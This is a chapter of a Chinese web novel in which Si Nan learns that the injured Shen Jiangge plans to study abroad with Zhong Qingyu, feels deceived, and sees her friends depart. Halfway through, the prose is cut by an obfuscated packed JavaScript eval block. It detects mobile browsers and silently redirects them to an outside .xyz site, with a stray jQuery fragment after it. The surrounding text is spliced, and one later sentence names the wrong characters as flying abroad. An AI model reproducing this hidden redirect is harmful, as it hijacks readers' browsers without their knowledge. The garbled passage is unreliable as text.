21. 第二十一章

作品:《与人机老公重生互殴

    司南独自来到了楼上。


    她按照指示路标往前走,路过医生办公室的时候,她意外地发现门没有关严。


    通过那道缝隙,她看到里面站着的除了穿白大褂的医生,还有沈姜戈的父母,钟清玉的父母。


    权威的专家们拿着影像片,用严谨而克制的术语反复讨论。最终,那些复杂的医学词汇凝结成冰冷现实,由一位头发花白的老医生平静地陈述了出来。


    “左小腿胫腓骨是粉碎性骨折,合并有严重的神经和肌腱损伤。手术很成功,但……即使经过最完善和漫长的康复治疗,功能的恢复……尤其是对精细动作、长时间负重和力量控制要求极高的活动……”老医生的目光,带着一丝不易察觉的怜悯。


    司南站在门外,听见里面传来了女人压抑的啜泣声,和男人沉重的呼吸声。


    她沉默地离开了。


    -


    司南继续往前走,终于找到了沈姜戈和钟清玉的病房。


    他们住在高级病房,外面有一个小小的客厅。她进去时,一个拐角刚好挡住了她的身影。


    司南刚想出声,却看见躺在床上的钟清玉掀开被子下了床,静静地走到熟睡的沈姜戈旁边,弯下腰,给了他一个无比轻柔的吻。


    “啾。”


    时间仿佛凝固了,只有窗外的光影在床单上缓慢爬移。


    司南不知道自己现在应该是什么心情。


    知慕少艾,是一种很正常的情感,更何况沈姜戈还救了她两次,吊桥效应爆表。


    可是为什么,她的脑海中总会浮现出当时的场景。


    混乱的尖叫,剧烈的震颤,骨头碎裂的闷响,左腿失去知觉的冰冷……还有,那个在烟尘弥漫的舞台角落,用整个身体紧紧护住了钟清玉的沈姜戈。


    他护着她,手臂收拢成保护的弧度,那么坚定,那么密不透风。


    而司南倒在废墟里,被重物压着,眼睁睁地看着他保护别人。


    他或许也看向了她的方向,却终究没有向她伸出手。


    病房上的沈姜戈缓缓睁开了眼睛:“……清玉?”


    他不知道刚刚钟清玉对他做了什么事,只看见少女脸色羞红,结结巴巴地说:“那、那个,你怎么醒了?”


    “我做了个很长很长的梦……”他轻声说,“然后就醒了。”


    钟清玉离开他的床边,回到自己的病床上坐了下来。


    两人都没有说话,就这样过了许久,久到病房里的空气都变得滞重。


    “医生说你的手术很成功,但恢复不乐观。”钟清玉说,“不过没关系,国内的康复治疗不够先进,我们就去国外,国外总会有好办法的。我陪你一起去。”


    沈姜戈闭了闭眼:“你上个月就问过我这件事了。”


    “对,当时我是为了你的前途,出国有什么不好?”钟清玉不理解,“我们家可以包揽所有费用,可以为你申请最好的学校。你那么优秀,理应去更高的平台。现在出了这种意外,你更应该多多考虑,不仅为了前途,还要为了你的身体着想啊。难道你想瘸着腿过一辈子吗?”


    沈姜戈沉默不语。


    “而且,你之前不是同意了吗?”她说,“都已经查资料看雅思了,究竟还犹豫什么?”


    拐角处的司南已经愣在了原地。


    钟清玉的话语在她的脑海中缓慢拼接,最终显露出它们狰狞的含义。


    呵,当初他故意在她面前掉马时是怎么说来着?


    “我不认为坦诚是一件坏事。更何况,我们是夫妻。”


    可说出这句话的他,却连出国的事也不告诉她。


    她想要甩掉他的时候,是他巴巴地缠上来,自以为是地要在这个陌生的世界保护她。司南也是蠢,居然真的相信了他的话,而蠢人总是要被骗的。


    你看,这不就轻而易举地被骗咯。


    想通这点后,司南浑浑噩噩地离开了这里,也因此错过了沈姜戈的话:“我想留在这儿,是因为我有一个很重要的家人。我放心不下她。”


    -


    回到家,司南从包里掏出了两把钥匙,一把是她家的钥匙,一把是沈姜戈家的钥匙。


    她转身打开了沈姜戈家的门。


    推开门,屋内一片寂静,只有墙上的钟表在“滴答滴答”。


    她径直走向了沈姜戈的卧室。


    他的卧室里很整洁,只有书架上堆满了书。司南翻找了一会儿,果然翻出了最新的留学资料和雅思备考资料。书页边缘被翻动得微微卷起,里面夹着几张做了密密麻麻笔记的打印真题,墨迹尚新。


    司南捏着那冰凉的纸张,感觉到指尖的血管在突突跳动,血液却像被一点点抽离。


    她仿佛一脚踩空,坠入了一个透明的陷阱。


    她早该想到的。


    他们每天坐沈泊青的车去上学,沈姜戈总会低头看书、背单词。如果她有心留意,就会发现他背的都是雅思单词。又或者,他这段时间偶尔的走神,谈及“未来规划”时的沉默……太多太多,有迹可循。


    原来他早就为自己铺设了康庄大道。


    司南的目光落在了那些工整的笔记上,甚至能想象出他如何不动声色地安排这一切。


    在她毫无察觉的时候,他已经一步步地走向了那个没有她的未来。


    在他精密的计划里,她或许只是一个历史遗留问题,连处理都懒得处理,只要等时间到了,就可以留下一句轻飘飘的“我走了”?


    她将资料放了回去,尽量还原成她发现前的样子


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15854097|175533||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,仿佛什么都没有发生。


    -


    后来的事,对于司南来说,就像一部被按下了加速键的电视剧。


    半个月后,沈姜戈出院了。毫不意外的是,他决定要与钟清玉一起去英国。


    司南拉黑了他所有的联系方式,拒绝与他见面,连告别都不愿意告别。妈妈以为她在发脾气,小声地劝她:“姜戈有他自己的苦衷,你怎么能生气呢?”


    司南将脸埋在被子里,轻嗅着潮湿,分不清是汗水还是泪水。


    妈妈叹了口气:“既然你不想见,那我就去劝劝姜戈。他在外面,已经拄着拐杖站很久了,我怕他撑不住。”


    司南闭上眼睛,耳朵却更加灵敏,甚至能听见外面说话的声音。


    “姜戈,你走吧。南南她不懂事,有点生气了。”


    “阿姨,我再等等,我有事要跟她解释,我一定要跟她说……”


    “别等了,你等不到的,这孩子从小就倔。”


    “阿姨,我知道。”他定定地站在那儿,眼睛湿漉漉的,“毕竟我和她……已经认识很久了。”


    -


    沈姜戈当然没有等到司南。


    她倔,他也倔,但他的身体最先撑不住,直直地倒了下去。


    几天后,沈姜戈和司南坐上了飞往大洋彼岸的飞机。又过了几天,傅令唯也来跟她告别。


    “拜拜啦,小司同学。”他依然爱笑,笑得眉眼弯弯,“送你一份礼物,或许我们还会再次相见。”


    司南打开一瞧,是个米菲兔的玩偶,不算贵重,所以她欣然收下了。


    抱着那个玩偶,她直直地望向他,问出了心里最深的疑问:“傅令唯,你为什么对我这么好?”又是和她告别,又是送礼物。


    听到这句话,傅令唯哈哈大笑:“这就叫‘好’?小姑娘可不能这么没见识啊。如果这就叫‘好’的话,那按照我对前女友们的大方程度,岂不是把她们都供成菩萨啦?”


    她一愣:“你交过很多女朋友?”


    “嗯哼。”傅令唯点点头,“怎么了,成年男人有点感情经历不是很正常吗?你见过哪个正常男人一把年纪了还母胎solo的。”


    “我见过。”


    “谁?”


    司南心下喟叹:就是前世的你啊。


    前世的傅令唯,除了她之外,没有爱过任何人。他说他的心很小,小到只放得下她,再也容不了任何人。


    可惜白马非马,此间人也非心上人。


    “没什么。”司南笑了笑,“祝你前程似锦,一路顺风。”


    目送着傅令唯的背影,司南终于明白,人生的路需要自己走,没有任何人会陪着她。


    在所有人都离开之后,她知道,要开始走自己的路了。